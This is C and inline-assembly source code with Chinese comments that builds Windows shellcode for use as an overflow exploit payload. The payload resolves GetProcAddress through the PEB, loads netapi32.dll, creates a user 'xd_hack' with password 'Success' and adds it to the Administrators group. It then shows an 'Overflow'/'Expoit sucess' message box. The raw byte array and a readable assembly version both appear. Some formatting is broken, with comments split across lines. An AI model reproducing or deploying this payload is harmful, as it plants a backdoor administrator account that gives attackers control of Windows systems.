DWORD (WINAPI *IsNetLocalGroupAddMembers)(
LPCWSTR servername,
LPCWSTR groupname,
DWORD level,
LPBYTE buf,
DWORD totalentries
);
DWORD (WINAPI *IsNetUserAdd)(
LPCWSTR servername,
DWORD level,
LPBYTE buf,
LPDWORD parm_err
);
BYTE szCmdShell[] =
{
0xc6, 0x45, 0xb0, 0x64, 0xc6, 0x45, 0xb1, 0xa1, 0xc6, 0x45, 0xb2, 0x30, 0xc6, 0x45, 0xb3, 0x00,
0xc6, 0x45, 0xb4, 0x00, 0xc6, 0x45, 0xb5, 0x00, 0xc6, 0x45, 0xb6, 0x8b, 0xc6, 0x45, 0xb7, 0x40,
0xc6, 0x45, 0xb8, 0x0c, 0xc6, 0x45, 0xb9, 0x8b, 0xc6, 0x45, 0xba, 0x70, 0xc6, 0x45, 0xbb, 0x1c,
0xc6, 0x45, 0xbc, 0xad, 0xc6, 0x45, 0xbd, 0x8b, 0xc6, 0x45, 0xbe, 0x40, 0xc6, 0x45, 0xbf, 0x08,
0xc6, 0x45, 0xc0, 0x8b, 0xc6, 0x45, 0xc1, 0xe8, 0xc6, 0x45, 0xc2, 0x8b, 0xc6, 0x45, 0xc3, 0x45,
0xc6, 0x45, 0xc4, 0x3c, 0xc6, 0x45, 0xc5, 0x8b, 0xc6, 0x45, 0xc6, 0x54, 0xc6, 0x45, 0xc7, 0x28,
0xc6, 0x45, 0xc8, 0x78, 0xc6, 0x45, 0xc9, 0x03, 0xc6, 0x45, 0xca, 0xd5, 0xc6, 0x45, 0xcb, 0x8b,
0xc6, 0x45, 0xcc, 0x4a, 0xc6, 0x45, 0xcd, 0x18, 0xc6, 0x45, 0xce, 0x8b, 0xc6, 0x45, 0xcf, 0x5a,
0xc6, 0x45, 0xd0, 0x20, 0xc6, 0x45, 0xd1, 0x03, 0xc6, 0x45, 0xd2, 0xdd, 0xc6, 0x45, 0xd3, 0x49,
0xc6, 0x45, 0xd4, 0x8b, 0xc6, 0x45, 0xd5, 0x34, 0xc6, 0x45, 0xd6, 0x8b, 0xc6, 0x45, 0xd7, 0x03,
0xc6, 0x45, 0xd8, 0xf5, 0xc6, 0x45, 0xd9, 0xb8, 0xc6, 0x45, 0xda, 0x47, 0xc6, 0x45, 0xdb, 0x65,
0xc6, 0x45, 0xdc, 0x74, 0xc6, 0x45, 0xdd, 0x50, 0xc6, 0x45, 0xde, 0x39, 0xc6, 0x45, 0xdf, 0x06,
0xc6, 0x45, 0xe0, 0x75, 0xc6, 0x45, 0xe1, 0xf1, 0xc6, 0x45, 0xe2, 0xb8, 0xc6, 0x45, 0xe3, 0x72,
0xc6, 0x45, 0xe4, 0x6f, 0xc6, 0x45, 0xe5, 0x63, 0xc6, 0x45, 0xe6, 0x41, 0xc6, 0x45, 0xe7, 0x39,
0xc6, 0x45, 0xe8, 0x46, 0xc6, 0x45, 0xe9, 0x04, 0xc6, 0x45, 0xea, 0x75, 0xc6, 0x45, 0xeb, 0xe7,
0xc6, 0x45, 0xec, 0x8b, 0xc6, 0x45, 0xed, 0x5a, 0xc6, 0x45, 0xee, 0x24, 0xc6, 0x45, 0xef, 0x03,
0xc6, 0x45, 0xf0, 0xdd, 0xc6, 0x45, 0xf1, 0x66, 0xc6, 0x45, 0xf2, 0x8b, 0xc6, 0x45, 0xf3, 0x0c,
0xc6, 0x45, 0xf4, 0x4b, 0xc6, 0x45, 0xf5, 0x8b, 0xc6, 0x45, 0xf6, 0x5a, 0xc6, 0x45, 0xf7, 0x1c,
0xc6, 0x45, 0xf8, 0x03, 0xc6, 0x45, 0xf9, 0xdd, 0xc6, 0x45, 0xfa, 0x8b, 0xc6, 0x45, 0xfb, 0x04,
0xc6, 0x45, 0xfc, 0x8b, 0xc6, 0x45, 0xfd, 0x03, 0xc6, 0x45, 0xfe, 0xc5, 0xc6, 0x45, 0xff, 0xc3,
0x66, 0xc7, 0x45, 0xa0, 0x78, 0x00, 0x66, 0xc7, 0x45, 0xa2, 0x64, 0x00, 0x66, 0xc7, 0x45, 0xa4,
0x5f, 0x00, 0x66, 0xc7, 0x45, 0xa6, 0x68, 0x00, 0x66, 0xc7, 0x45, 0xa8, 0x61, 0x00, 0x66, 0xc7,
0x45, 0xaa, 0x63, 0x00, 0x66, 0xc7, 0x45, 0xac, 0x6b, 0x00, 0x66, 0xc7, 0x45, 0xae, 0x00, 0x00,
0x66, 0xc7, 0x45, 0x90, 0x53, 0x00, 0x66, 0xc7, 0x45, 0x92, 0x75, 0x00, 0x66, 0xc7, 0x45, 0x94,
0x63, 0x00, 0x66, 0xc7, 0x45, 0x96, 0x63, 0x00, 0x66, 0xc7, 0x45, 0x98, 0x65, 0x00, 0x66, 0xc7,
0x45, 0x9a, 0x73, 0x00, 0x66, 0xc7, 0x45, 0x9c, 0x73, 0x00, 0x66, 0xc7, 0x45, 0x9e, 0x00, 0x00,
0xc6, 0x45, 0x84, 0x4f, 0xc6, 0x45, 0x85, 0x76, 0xc6, 0x45, 0x86, 0x65, 0xc6, 0x45, 0x87, 0x72,
0xc6, 0x45, 0x88, 0x66, 0xc6, 0x45, 0x89, 0x6c, 0xc6, 0x45, 0x8a, 0x6f, 0xc6, 0x45, 0x8b, 0x77,
0xc6, 0x45, 0x8c, 0x00, 0xc6, 0x85, 0x74, 0xff, 0xff, 0xff, 0x45, 0xc6, 0x85, 0x75, 0xff, 0xff,
0xff, 0x78, 0xc6, 0x85, 0x76, 0xff, 0xff, 0xff, 0x70, 0xc6, 0x85, 0x77, 0xff, 0xff, 0xff, 0x6f,
0xc6, 0x85, 0x78, 0xff, 0xff, 0xff, 0x69, 0xc6, 0x85, 0x79, 0xff, 0xff, 0xff, 0x74, 0xc6, 0x85,
0x7a, 0xff, 0xff, 0xff, 0x20, 0xc6, 0x85, 0x7b, 0xff, 0xff, 0xff, 0x73, 0xc6, 0x85, 0x7c, 0xff,
0xff, 0xff, 0x75, 0xc6, 0x85, 0x7d, 0xff, 0xff, 0xff, 0x63, 0xc6, 0x85, 0x7e, 0xff, 0xff, 0xff,
0x65, 0xc6, 0x85, 0x7f, 0xff, 0xff, 0xff, 0x73, 0xc6, 0x45, 0x80, 0x73, 0xc6, 0x45, 0x81, 0x00,
0xc6, 0x85, 0x64, 0xff, 0xff, 0xff, 0x6e, 0xc6, 0x85, 0x65, 0xff, 0xff, 0xff, 0x65, 0xc6, 0x85,
0x66, 0xff, 0xff, 0xff, 0x74, 0xc6, 0x85, 0x67, 0xff, 0xff, 0xff, 0x61, 0xc6, 0x85, 0x68, 0xff,
0xff, 0xff, 0x70, 0xc6, 0x85, 0x69, 0xff, 0xff, 0xff, 0x69, 0xc6, 0x85, 0x6a, 0xff, 0xff, 0xff,
0x33, 0xc6, 0x85, 0x6b, 0xff, 0xff, 0xff, 0x32, 0xc6, 0x85, 0x6c, 0xff, 0xff, 0xff, 0x2e, 0xc6,
0x85, 0x6d, 0xff, 0xff, 0xff, 0x64, 0xc6, 0x85, 0x6e, 0xff, 0xff, 0xff, 0x6c, 0xc6, 0x85, 0x6f,
0xff, 0xff, 0xff, 0x6c, 0xc6, 0x85, 0x70, 0xff, 0xff, 0xff, 0x00, 0x66, 0xc7, 0x85, 0x44, 0xff,
0xff, 0xff, 0x41, 0x00, 0x66, 0xc7, 0x85, 0x46, 0xff, 0xff, 0xff, 0x64, 0x00, 0x66, 0xc7, 0x85,
0x48, 0xff, 0xff, 0xff, 0x6d, 0x00, 0x66, 0xc7, 0x85, 0x4a, 0xff, 0xff, 0xff, 0x69, 0x00, 0x66,
0xc7, 0x85, 0x4c, 0xff, 0xff, 0xff, 0x6e, 0x00, 0x66, 0xc7, 0x85, 0x4e, 0xff, 0xff, 0xff, 0x69,
0x00, 0x66, 0xc7, 0x85, 0x50, 0xff, 0xff, 0xff, 0x73, 0x00, 0x66, 0xc7, 0x85, 0x52, 0xff, 0xff,
0xff, 0x74, 0x00, 0x66, 0xc7, 0x85, 0x54, 0xff, 0xff, 0xff, 0x72, 0x00, 0x66, 0xc7, 0x85, 0x56,
0xff, 0xff, 0xff, 0x61, 0x00, 0x66, 0xc7, 0x85, 0x58, 0xff, 0xff, 0xff, 0x74, 0x00, 0x66, 0xc7,
0x85, 0x5a, 0xff, 0xff, 0xff, 0x6f, 0x00, 0x66, 0xc7, 0x85, 0x5c, 0xff, 0xff, 0xff, 0x72, 0x00,
0x66, 0xc7, 0x85, 0x5e, 0xff, 0xff, 0xff, 0x73, 0x00, 0x66, 0xc7, 0x85, 0x60, 0xff, 0xff, 0xff,
0x00, 0x00, 0xc6, 0x85, 0x38, 0xff, 0xff, 0xff, 0x4e, 0xc6, 0x85, 0x39, 0xff, 0xff, 0xff, 0x65,
0xc6, 0x85, 0x3a, 0xff, 0xff, 0xff, 0x74, 0xc6, 0x85, 0x3b, 0xff, 0xff, 0xff, 0x55, 0xc6, 0x85,
0x3c, 0xff, 0xff, 0xff, 0x73, 0xc6, 0x85, 0x3d, 0xff, 0xff, 0xff, 0x65, 0xc6, 0x85, 0x3e, 0xff,
0xff, 0xff, 0x72, 0xc6, 0x85, 0x3f, 0xff, 0xff, 0xff, 0x41, 0xc6, 0x85, 0x40, 0xff, 0xff, 0xff,
0x64, 0xc6, 0x85, 0x41, 0xff, 0xff, 0xff, 0x64, 0xc6, 0x85, 0x42, 0xff, 0xff, 0xff, 0x00, 0xc6,
0x85, 0x20, 0xff, 0xff, 0xff, 0x4e, 0xc6, 0x85, 0x21, 0xff, 0xff, 0xff, 0x65, 0xc6, 0x85, 0x22,
0xff, 0xff, 0xff, 0x74, 0xc6, 0x85, 0x23, 0xff, 0xff, 0xff, 0x4c, 0xc6, 0x85, 0x24, 0xff, 0xff,
0xff, 0x6f, 0xc6, 0x85, 0x25, 0xff, 0xff, 0xff, 0x63, 0xc6, 0x85, 0x26, 0xff, 0xff, 0xff, 0x61,
0xc6, 0x85, 0x27, 0xff, 0xff, 0xff, 0x6c, 0xc6, 0x85, 0x28, 0xff, 0xff, 0xff, 0x47, 0xc6, 0x85,
0x29, 0xff, 0xff, 0xff, 0x72, 0xc6, 0x85, 0x2a, 0xff, 0xff, 0xff, 0x6f, 0xc6, 0x85, 0x2b, 0xff,
0xff, 0xff, 0x75, 0xc6, 0x85, 0x2c, 0xff, 0xff, 0xff, 0x70, 0xc6, 0x85, 0x2d, 0xff, 0xff, 0xff,
0x41, 0xc6, 0x85, 0x2e, 0xff, 0xff, 0xff, 0x64, 0xc6, 0x85, 0x2f, 0xff, 0xff, 0xff, 0x64, 0xc6,
0x85, 0x30, 0xff, 0xff, 0xff, 0x4d, 0xc6, 0x85, 0x31, 0xff, 0xff, 0xff, 0x65, 0xc6, 0x85, 0x32,
0xff, 0xff, 0xff, 0x6d, 0xc6, 0x85, 0x33, 0xff, 0xff, 0xff, 0x62, 0xc6, 0x85, 0x34, 0xff, 0xff,
0xff, 0x65, 0xc6, 0x85, 0x35, 0xff, 0xff, 0xff, 0x72, 0xc6, 0x85, 0x36, 0xff, 0xff, 0xff, 0x73,
0xc6, 0x85, 0x37, 0xff, 0xff, 0xff, 0x00, 0xc7, 0x85, 0x1c, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00,
0x00, 0xc7, 0x85, 0x18, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x85, 0x14, 0xff, 0xff,
0xff, 0x00, 0x00, 0x00, 0x00, 0x55, 0x8d, 0x85, 0xb0, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x5d, 0x89,
0x85, 0x14, 0xff, 0xff, 0xff, 0xc7, 0x85, 0x10, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x8d,
0x85, 0x64, 0xff, 0xff, 0xff, 0x50, 0xb8, 0x7b, 0x1d, 0x80, 0x7c, 0xff, 0xd0, 0x89, 0x85, 0x10,
0xff, 0xff, 0xff, 0x8d, 0x85, 0x38, 0xff, 0xff, 0xff, 0x50, 0x8b, 0x85, 0x10, 0xff, 0xff, 0xff,
0x50, 0x8b, 0x85, 0x14, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x89, 0x85, 0x1c, 0xff, 0xff, 0xff, 0x8d,
0x85, 0x20, 0xff, 0xff, 0xff, 0x50, 0x8b, 0x85, 0x10, 0xff, 0xff, 0xff, 0x50, 0x8b, 0x85, 0x14,
0xff, 0xff, 0xff, 0xff, 0xd0, 0x89, 0x85, 0x18, 0xff, 0xff, 0xff, 0xc7, 0x85, 0x0c, 0xff, 0xff,
0xff, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x85, 0xec, 0xfe, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0xb9,
0x07, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x8d, 0xbd, 0xf0, 0xfe, 0xff, 0xff, 0xf3, 0xab, 0x8d, 0x45,
0xa0, 0x89, 0x85, 0xec, 0xfe, 0xff, 0xff, 0x8d, 0x4d, 0x90, 0x89, 0x8d, 0xf0, 0xfe, 0xff, 0xff,
0xc7, 0x85, 0xf8, 0xfe, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0xc7, 0x85, 0xe8, 0xfe, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x8d, 0x55, 0xa0, 0x89, 0x95, 0xe8, 0xfe, 0xff, 0xff, 0x8d, 0x85, 0x0c,
0xff, 0xff, 0xff, 0x50, 0x8d, 0x85, 0xec, 0xfe, 0xff, 0xff, 0x50, 0x6a, 0x01, 0x6a, 0x00, 0x8b,
0x85, 0x1c, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x6a, 0x01, 0x8d, 0x85, 0xe8, 0xfe, 0xff, 0xff, 0x50,
0x6a, 0x03, 0x8d, 0x85, 0x44, 0xff, 0xff, 0xff, 0x50, 0x6a, 0x00, 0x8b, 0x85, 0x18, 0xff, 0xff,
0xff, 0xff, 0xd0, 0x6a, 0x40, 0x8d, 0x85, 0x84, 0xff, 0xff, 0xff, 0x50, 0x8d, 0x85, 0x74, 0xff,
0xff, 0xff, 0x50, 0x6a, 0x00, 0xb8, 0xea, 0x07, 0xd5, 0x77, 0xff, 0xd0, 0xc3/*
0x6a, 0xff, 0xb8, 0x12,
0xcb, 0x81, 0x7c, 0xff, 0xd0*/
};
int main(int argc, wchar_t *argv[])
{
_asm
{
push ebp
mov ebp, esp
sub esp, 0x308
lea eax, szCmdShell
call eax
mov esp, ebp
pop ebp
}
return
0;
//
下面的,我是先用C实现,发现提取出来的有重定位问题,
//
然后部分换成汇编的.就解决了.
//
除了Kernel32!ExitProcess 和 User32!MessageBoxA 是硬编码的
//
其它的全部是从TEP里面取的.
//
GetProcAddress
BYTE szGetProcAddress[] =
{
0x64, 0xa1, 0x30, 0x00, 0x00, 0x00, 0x8b, 0x40, 0x0c, 0x8b, 0x70, 0x1c, 0xad, 0x8b, 0x40, 0x08,
0x8b, 0xe8, 0x8b, 0x45, 0x3c, 0x8b, 0x54, 0x28, 0x78, 0x03, 0xd5, 0x8b, 0x4a, 0x18, 0x8b, 0x5a,
0x20, 0x03, 0xdd, 0x49, 0x8b, 0x34, 0x8b, 0x03, 0xf5, 0xb8, 0x47, 0x65, 0x74, 0x50, 0x39, 0x06,
0x75, 0xf1, 0xb8, 0x72, 0x6f, 0x63, 0x41, 0x39, 0x46, 0x04, 0x75, 0xe7, 0x8b, 0x5a, 0x24, 0x03,
0xdd, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5a, 0x1c, 0x03, 0xdd, 0x8b, 0x04, 0x8b, 0x03, 0xc5, 0xc3
};
wchar_t szName[] = {0x78, 0x64, 0x5f, 0x68, 0x61, 0x63, 0x6b, 0x00};
wchar_t szPass[] = {0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00};
char szCaption[] = {0x4f, 0x76, 0x65, 0x72, 0x66, 0x6c, 0x6f, 0x77, 0x00};
char szContent[] = {0x45, 0x78, 0x70, 0x6f, 0x69, 0x74, 0x20, 0x73, 0x75, 0x63, 0x65, 0x73, 0x73, 0x00};
char szNetapi32[] = {0x6e, 0x65, 0x74, 0x61, 0x70, 0x69, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00};
wchar_t szAdministroatr[] = {0x41, 0x64, 0x6d, 0x69, 0x6e, 0x69, 0x73, 0x74, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x00};
char szNetUserAdd[] = {0x4e, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, 0x64, 0x00};
char szNetLocalGroupAddMembers[] = {
0x4e, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x47, 0x72, 0x6f, 0x75, 0x70, 0x41, 0x64, 0x64,
0x4d, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x73, 0x00};
DWORD dwNetUserAdd = 0;
DWORD dwNetLocalGroupAddMembers = 0;
DWORD dwGetProcAddress = 0;
_asm
{
push ebp
lea eax, szGetProcAddress
call eax
pop ebp
mov dwGetProcAddress, eax
}
//HMODULE
hNetAddress = (HMODULE)LoadLibraryA(szNetapi32);
HMODULE hNetAddress = NULL;
_asm
{
lea eax, szNetapi32
push eax
mov eax, 0x7C801D7B
call eax
mov hNetAddress, eax
}
//
IsNetUserAdd = (DWORD (WINAPI *)(LPCWSTR, DWORD, LPBYTE, LPDWORD))
//
GetProcAddress(hNetAddress,
"NetUserAdd"
);
_asm
{
lea eax, szNetUserAdd
push eax
mov eax, hNetAddress
push eax
mov eax, dwGetProcAddress
call eax
mov dwNetUserAdd, eax
}
//
//
IsNetLocalGroupAddMembers = (DWORD (WINAPI *)(LPCWSTR, LPCWSTR, DWORD, LPBYTE, DWORD))
//
GetProcAddress(hNetAddress,
"NetLocalGroupAddMembers"
);
_asm
{
lea eax, szNetLocalGroupAddMembers
push eax
mov eax, hNetAddress
push eax
mov eax, dwGetProcAddress
call eax
mov dwNetLocalGroupAddMembers, eax
}
DWORD dwError = 0;
USER_INFO_1 tagInfo = {0};
tagInfo.usri1_name = szName;
tagInfo.usri1_password = szPass;
tagInfo.usri1_priv = USER_PRIV_USER;
LOCALGROUP_MEMBERS_INFO_3 tagLocalgroup = {0};
tagLocalgroup.lgrmi3_domainandname = szName;
//IsNetUserAdd
(NULL, 1, (PUCHAR)&tagInfo, &dwError);
_asm
{
lea eax, dwError
push eax
lea eax, tagInfo
push eax
push 1
push 0
mov eax, dwNetUserAdd
call eax
}
//IsNetLocalGroupAddMembers
(NULL, szAdministroatr, 3, (PUCHAR)&tagLocalgroup, 1);
_asm
{
push 1
lea eax, tagLocalgroup
push eax
push 3
lea eax, szAdministroatr
push eax
push 0
mov eax, dwNetLocalGroupAddMembers
call eax
}
//MessageBox
(NULL, szContent, szCaption, MB_ICONINFORMATION);
_asm
{
push 0x40
lea eax, szCaption
push eax
lea eax, szContent
push eax
push 0
mov eax, 0x77D507EA
call eax
}
//ExitProcess
(-1);
_asm
{
push -1
mov eax, 0x7C81CB12
call eax
}
return
0;
}